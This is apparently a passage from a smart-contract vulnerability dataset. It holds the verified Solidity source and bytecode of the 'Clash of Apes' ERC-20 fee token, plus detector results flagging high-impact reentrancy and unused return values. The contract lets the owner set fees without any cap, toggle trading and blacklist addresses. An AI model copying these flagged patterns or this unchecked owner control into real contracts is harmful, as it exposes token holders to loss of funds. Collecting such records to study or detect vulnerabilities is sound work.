a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee218557272a1725ca7eaa71eda7024ce5b7557ac30122a6fedb770d9e53058c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
97
0x20dddec6f8a7ecb0b7ede3b9f92d4a6062a264d4
/** *Submitted for verification at Etherscan.io on 2022-03-27 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract COA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Clash of Apes";// string private constant _symbol = "COA";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 2;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 2;// uint256 private _taxFeeOnSell = 8;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xcFA5D91Ed9CBff6b1e3275127F84DF7d67d5Bf0B);// address payable private _marketingAddress = payable(0xa5B8a7e759150a907F521EE6701360f4877a1F38);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; // uint256 public _maxWalletSize = 15000000000 * 10**9; // uint256 public _swapTokensAtAmount = 15000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130ca565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613513565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613036565b61088f565b60405161026491906134dd565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f8565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f5565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe7565b6108e4565b6040516102f791906134dd565b60405180910390f35b34801561030c57600080fd5b506103156109bd565b60405161032291906136f5565b60405180910390f35b34801561033757600080fd5b506103406109c3565b60405161034d919061376a565b60405180910390f35b34801561036257600080fd5b5061036b6109cc565b60405161037891906134c2565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f59565b6109f2565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061310b565b610ae2565b005b3480156103df57600080fd5b506103e8610b93565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f59565b610c64565b60405161041e91906136f5565b60405180910390f35b34801561043357600080fd5b5061043c610cb5565b005b34801561044a57600080fd5b5061046560048036038101906104609190613134565b610e08565b005b34801561047357600080fd5b5061047c610ea7565b60405161048991906136f5565b60405180910390f35b34801561049e57600080fd5b506104a7610ead565b6040516104b491906134c2565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061310b565b610ed6565b005b3480156104f257600080fd5b506104fb610f8f565b60405161050891906136f5565b60405180910390f35b34801561051d57600080fd5b50610526610f95565b6040516105339190613513565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613134565b610fd2565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315d565b611071565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613036565b611128565b6040516105c291906134dd565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f59565b611146565b6040516105ff91906134dd565b60405180910390f35b34801561061457600080fd5b5061061d611166565b005b34801561062b57600080fd5b5061064660048036038101906106419190613072565b61123f565b005b34801561065457600080fd5b5061065d61139f565b60405161066a91906136f5565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fab565b6113a5565b6040516106a791906136f5565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613134565b61142c565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f59565b6114cb565b005b61070a61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613655565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000